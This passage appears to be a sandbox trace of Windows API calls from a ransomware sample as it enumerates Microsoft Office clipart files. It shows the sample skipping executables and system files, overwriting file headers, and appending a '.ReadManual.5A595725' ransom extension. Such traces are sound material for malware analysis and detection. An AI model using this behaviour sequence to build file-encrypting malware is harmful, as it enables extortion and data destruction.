Office\\CLIPART\\PUB60COR\\AN04267_.WMF.ReadManual.5A595725" [0260.419] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.ReadManual.5A595725") returned 87 [0260.419] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38108768847) returned 1 [0260.419] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0260.419] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.419] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7804) returned 1 [0260.419] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e7c, lpName=0x0) returned 0x184 [0260.419] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.420] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.420] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.421] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.422] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e7c) returned 0x2f0000 [0260.422] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.422] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38109061562) returned 1 [0260.422] CloseHandle (hObject=0x184) returned 1 [0260.422] SetSecurityInfo () returned 0x57 [0260.422] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.422] CloseHandle (hObject=0x194) returned 1 [0260.423] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0260.423] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04269_.WMF" | out: lpString1="AN04269_.WMF") returned="AN04269_.WMF" [0260.423] lstrcmpiW (lpString1="AN04269_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.424] StrStrIW (lpFirst="AN04269_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.424] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.424] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.424] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" [0260.424] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.ReadManual.5A595725" [0260.424] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.ReadManual.5A595725") returned 87 [0260.424] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38109278594) returned 1 [0260.424] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0260.424] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.424] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2016) returned 1 [0260.424] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x184 [0260.425] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.425] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.425] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.429] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.429] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x2f0000 [0260.429] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38109790431) returned 1 [0260.429] CloseHandle (hObject=0x184) returned 1 [0260.429] SetSecurityInfo () returned 0x57 [0260.429] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.429] CloseHandle (hObject=0x194) returned 1 [0260.430] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0260.430] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04323_.WMF" | out: lpString1="AN04323_.WMF") returned="AN04323_.WMF" [0260.430] lstrcmpiW (lpString1="AN04323_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.430] StrStrIW (lpFirst="AN04323_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.430] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.430] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.430] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" [0260.430] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.ReadManual.5A595725" [0260.431] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.ReadManual.5A595725") returned 87 [0260.431] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38109933460) returned 1 [0260.431] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0260.431] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.432] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2492) returned 1 [0260.432] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9bc, lpName=0x0) returned 0x184 [0260.432] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.432] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.432] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.434] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.434] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9bc) returned 0x2f0000 [0260.434] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.434] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38110296010) returned 1 [0260.434] CloseHandle (hObject=0x184) returned 1 [0260.434] SetSecurityInfo () returned 0x57 [0260.434] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.434] CloseHandle (hObject=0x194) returned 1 [0260.435] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0260.435] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04326_.WMF" | out: lpString1="AN04326_.WMF") returned="AN04326_.WMF" [0260.435] lstrcmpiW (lpString1="AN04326_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.435] StrStrIW (lpFirst="AN04326_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.435] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.435] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.436] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" [0260.436] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.ReadManual.5A595725" [0260.436] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.ReadManual.5A595725") returned 87 [0260.436] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38110437464) returned 1 [0260.436] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0260.436] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.436] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3348) returned 1 [0260.436] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd14, lpName=0x0) returned 0x184 [0260.436] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.437] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.437] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.438] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.438] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd14) returned 0x2f0000 [0260.438] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.438] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38110726023) returned 1 [0260.439] CloseHandle (hObject=0x184) returned 1 [0260.439] SetSecurityInfo () returned 0x57 [0260.439] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.439] CloseHandle (hObject=0x194) returned 1 [0260.439] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0260.439] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04332_.WMF" | out: lpString1="AN04332_.WMF") returned="AN04332_.WMF" [0260.439] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.439] StrStrIW (lpFirst="AN04332_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.439] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.439] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.439] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.439] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.440] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.440] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" [0260.440] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.ReadManual.5A595725" [0260.440] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.ReadManual.5A595725") returned 87 [0260.440] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38110865867) returned 1 [0260.440] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0260.441] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.441] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4296) returned 1 [0260.441] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c8, lpName=0x0) returned 0x184 [0260.441] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.441] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.441] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.443] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.443] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c8) returned 0x2f0000 [0260.443] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.443] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38111215005) returned 1 [0260.443] CloseHandle (hObject=0x184) returned 1 [0260.443] SetSecurityInfo () returned 0x57 [0260.444] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.444] CloseHandle (hObject=0x194) returned 1 [0260.444] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0260.444] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04355_.WMF" | out: lpString1="AN04355_.WMF") returned="AN04355_.WMF" [0260.444] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.444] StrStrIW (lpFirst="AN04355_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.444] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.444] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.444] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.444] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.444] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.444] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.444] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.445] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.445] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" [0260.445] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.ReadManual.5A595725" [0260.445] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.ReadManual.5A595725") returned 87 [0260.445] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38111359587) returned 1 [0260.445] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0260.445] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.445] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3228) returned 1 [0260.445] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc9c, lpName=0x0) returned 0x184 [0260.445] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.446] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.446] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, 